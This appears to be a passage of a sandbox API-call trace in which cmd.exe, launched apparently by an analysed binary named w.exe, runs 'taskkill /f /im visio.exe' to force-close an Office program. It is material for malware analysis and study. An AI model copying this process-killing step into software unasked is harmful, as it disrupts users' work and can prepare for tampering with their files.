	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x40, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x40, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x0, lpData=0x36e888*=0x40, lpcbData=0x36e880*=0x1000) returned 0x2
	[0048.810] RegCloseKey (hKey=0x68) returned 0x0
	[0048.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36e87c | out: phkResult=0x36e87c*=0x68) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x0, lpData=0x36e888*=0x40, lpcbData=0x36e880*=0x1000) returned 0x2
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x1, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x0, lpData=0x36e888*=0x1, lpcbData=0x36e880*=0x1000) returned 0x2
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x0, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x9, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.810] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x4, lpData=0x36e888*=0x9, lpcbData=0x36e880*=0x4) returned 0x0
	[0048.811] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36e884, lpData=0x36e888, lpcbData=0x36e880*=0x1000 | out: lpType=0x36e884*=0x0, lpData=0x36e888*=0x9, lpcbData=0x36e880*=0x1000) returned 0x2
	[0048.811] RegCloseKey (hKey=0x68) returned 0x0
	[0048.811] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163039
	[0048.811] srand (_Seed=0x5d163039) 
	[0048.811] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im visio.exe \""
	[0048.811] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im visio.exe \""
	[0048.811] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0048.811] GetProcessHeap () returned 0x610000
	[0048.811] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x622000
	[0048.811] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x622008, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0048.811] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0048.811] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.811] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0048.811] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0048.811] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0048.811] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0048.811] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0048.812] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0048.812] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0048.812] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0048.812] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0048.812] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0048.812] GetProcessHeap () returned 0x610000
	[0048.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x622ad8 | out: hHeap=0x610000) returned 1
	[0048.812] GetEnvironmentStringsW () returned 0x622218*
	[0048.812] GetProcessHeap () returned 0x610000
	[0048.812] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xae2) returned 0x624b78
	[0048.812] FreeEnvironmentStringsW (penv=0x622218) returned 1
	[0048.812] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0048.812] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0048.812] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0048.812] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0048.812] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0048.812] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0048.812] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0048.812] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0048.812] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0048.812] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0048.812] GetProcessHeap () returned 0x610000
	[0048.812] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x625668
	[0048.812] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36f648 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0048.813] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x36f648, lpFilePart=0x36f644 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36f644*="Desktop") returned 0x25
	[0048.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0048.813] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x36f3c4 | out: lpFindFileData=0x36f3c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x621e80
	[0048.813] FindClose (in: hFindFile=0x621e80 | out: hFindFile=0x621e80) returned 1
	[0048.813] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x36f3c4 | out: lpFindFileData=0x36f3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x621e80
	[0048.813] FindClose (in: hFindFile=0x621e80 | out: hFindFile=0x621e80) returned 1
	[0048.813] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0048.813] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x36f3c4 | out: lpFindFileData=0x36f3c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x621e80
	[0048.813] FindClose (in: hFindFile=0x621e80 | out: hFindFile=0x621e80) returned 1
	[0048.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0048.813] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0048.813] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0048.814] GetProcessHeap () returned 0x610000
	[0048.814] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624b78 | out: hHeap=0x610000) returned 1
	[0048.814] GetEnvironmentStringsW () returned 0x624088*
	[0048.814] GetProcessHeap () returned 0x610000
	[0048.814] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb36) returned 0x625ec8
	[0048.814] FreeEnvironmentStringsW (penv=0x624088) returned 1
	[0048.814] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0048.814] GetProcessHeap () returned 0x610000
	[0048.814] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x625668 | out: hHeap=0x610000) returned 1
	[0048.814] GetProcessHeap () returned 0x610000
	[0048.814] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400e) returned 0x626a08
	[0048.814] GetProcessHeap () returned 0x610000
	[0048.814] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x46) returned 0x621e80
	[0048.814] GetProcessHeap () returned 0x610000
	[0048.814] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4008) returned 0x62aa20
	[0048.815] GetProcessHeap () returned 0x610000
	[0048.815] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4008) returned 0x62ea30
	[0048.816] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0048.817] GetProcessHeap () returned 0x610000
	[0048.817] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x418) returned 0x622d58
	[0048.817] SetErrorMode (uMode=0x0) returned 0x8003
	[0048.817] SetErrorMode (uMode=0x1) returned 0x0
	[0048.817] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x622d60, lpFilePart=0x36f5c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x36f5c0*="f") returned 0x31
	[0048.817] SetErrorMode (uMode=0x8003) returned 0x1
	[0048.817] GetProcessHeap () returned 0x610000
	[0048.817] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x622d58, Size=0x88) returned 0x622d58
	[0048.817] GetProcessHeap () returned 0x610000
	[0048.817] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x622d58) returned 0x88
	[0048.817] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0048.817] GetProcessHeap () returned 0x610000
	[0048.817] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x72) returned 0x632a58
	[0048.817] GetProcessHeap () returned 0x610000
	[0048.817] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xd8) returned 0x622de8
	[0048.818] GetProcessHeap () returned 0x610000
	[0048.818] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x622de8, Size=0x72) returned 0x622de8
	[0048.818] GetProcessHeap () returned 0x610000
	[0048.818] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x622de8) returned 0x72
	[0048.818] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.818] GetProcessHeap () returned 0x610000
	[0048.818] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x622e68
	[0048.821] GetProcessHeap () returned 0x610000
	[0048.821] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x622e68, Size=0x76) returned 0x622e68
	[0048.821] GetProcessHeap () returned 0x610000
	[0048.821] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x622e68) returned 0x76
	[0048.821] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0048.821] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im visio.exe ", fInfoLevelId=0x1, lpFindFileData=0x36f35c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36f35c) returned 0xffffffff
	[0048.822] GetLastError () returned 0x3
	[0048.822] GetProcessHeap () returned 0x610000
	[0048.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62aa20 | out: hHeap=0x610000) returned 1
	[0048.822] GetProcessHeap () returned 0x610000
	[0048.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62ea30 | out: hHeap=0x610000) returned 1
	[0048.822] GetProcessHeap () returned 0x610000
	[0048.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626a08 | out: hHeap=0x610000) returned 1
	[0048.822] GetConsoleOutputCP () returned 0x1b5
	[0048.822] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab84260 | out: lpCPInfo=0x4ab84260) returned 1
	[0048.822] GetUserDefaultLCID () returned 0x409
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab84950, cchData=8 | out: lpLCData=":") returned 2
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x36f788, cchData=128 | out: lpLCData="0") returned 2
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x36f788, cchData=128 | out: lpLCData="0") returned 2
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x36f788, cchData=128 | out: lpLCData="1") returned 2
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab84940, cchData=8 | out: lpLCData="/") returned 2
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab84d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0048.823] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab84d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab84d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab84cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab84c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab84c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab84c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab84930, cchData=8 | out: lpLCData=".") returned 2
	[0048.824] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab84920, cchData=8 | out: lpLCData=",") returned 2
	[0048.824] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0048.825] GetProcessHeap () returned 0x610000
	[0048.825] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x20c) returned 0x622f20
	[0048.825] GetConsoleTitleW (in: lpConsoleTitle=0x622f20, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0048.825] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0048.825] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0048.825] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0048.825] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0048.826] GetProcessHeap () returned 0x610000
	[0048.826] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x626a08
	[0048.826] GetProcessHeap () returned 0x610000
	[0048.826] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626a08 | out: hHeap=0x610000) returned 1
	[0048.826] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0048.826] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0048.826] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0048.826] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0048.826] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0048.826] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0048.826] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0048.826] GetProcessHeap () returned 0x610000
	[0048.827] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x623138
	[0048.827] GetProcessHeap () returned 0x610000
	[0048.827] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1a) returned 0x625708
	[0048.827] GetProcessHeap () returned 0x610000
	[0048.827] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x623198
	[0048.828] GetConsoleTitleW (in: lpConsoleTitle=0x36f480, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0048.828] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0048.828] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0048.828] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0048.828] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0048.828] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0048.828] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0048.828] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0048.828] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0048.828] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0048.828] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0048.828] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0048.828] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0048.828] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0048.829] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0048.829] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0048.829] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0048.829] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0048.829] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0048.829] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0048.829] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0048.829] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0048.829] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0048.829] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0048.829] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0048.829] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0048.829] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0048.829] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0048.829] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0048.829] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0048.829] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0048.829] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0048.829] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0048.829] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0048.829] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0048.829] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0048.829] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0048.829] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0048.829] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0048.829] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0048.829] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0048.829] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0048.829] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0048.829] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0048.829] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0048.829] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0048.830] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0048.830] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0048.830] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0048.830] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0048.830] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0048.830] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0048.830] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0048.830] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0048.830] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0048.830] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0048.830] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0048.830] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0048.830] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0048.830] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0048.830] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0048.830] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0048.830] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0048.830] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0048.830] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0048.830] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0048.830] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0048.830] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0048.831] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0048.831] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0048.831] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0048.831] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0048.831] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0048.831] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0048.831] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0048.831] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0048.831] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0048.831] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0048.831] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0048.831] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0048.831] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0048.831] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0048.831] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0048.831] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0048.831] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0048.831] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0048.831] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0048.831] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0048.831] GetProcessHeap () returned 0x610000
	[0048.831] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x6231d0
	[0048.831] GetProcessHeap () returned 0x610000
	[0048.831] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x40) returned 0x6233e8
	[0048.832] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0048.832] GetProcessHeap () returned 0x610000
	[0048.832] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x418) returned 0x6107f0
	[0048.832] SetErrorMode (uMode=0x0) returned 0x8003
	[0048.832] SetErrorMode (uMode=0x1) returned 0x0
	[0048.832] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6107f8, lpFilePart=0x36efa0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36efa0*="Desktop") returned 0x25
	[0048.832] SetErrorMode (uMode=0x8003) returned 0x1
	[0048.832] GetProcessHeap () returned 0x610000
	[0048.832] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6107f0, Size=0x66) returned 0x6107f0
	[0048.832] GetProcessHeap () returned 0x610000
	[0048.832] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x6107f0) returned 0x66
	[0048.832] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0048.832] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0048.832] GetProcessHeap () returned 0x610000
	[0048.832] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x623430
	[0048.832] GetProcessHeap () returned 0x610000
	[0048.832] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x610860
	[0048.834] GetProcessHeap () returned 0x610000
	[0048.834] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610860, Size=0x122) returned 0x610860
	[0048.834] GetProcessHeap () returned 0x610000
	[0048.834] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x610860) returned 0x122
	[0048.834] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.834] GetProcessHeap () returned 0x610000
	[0048.834] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x610990
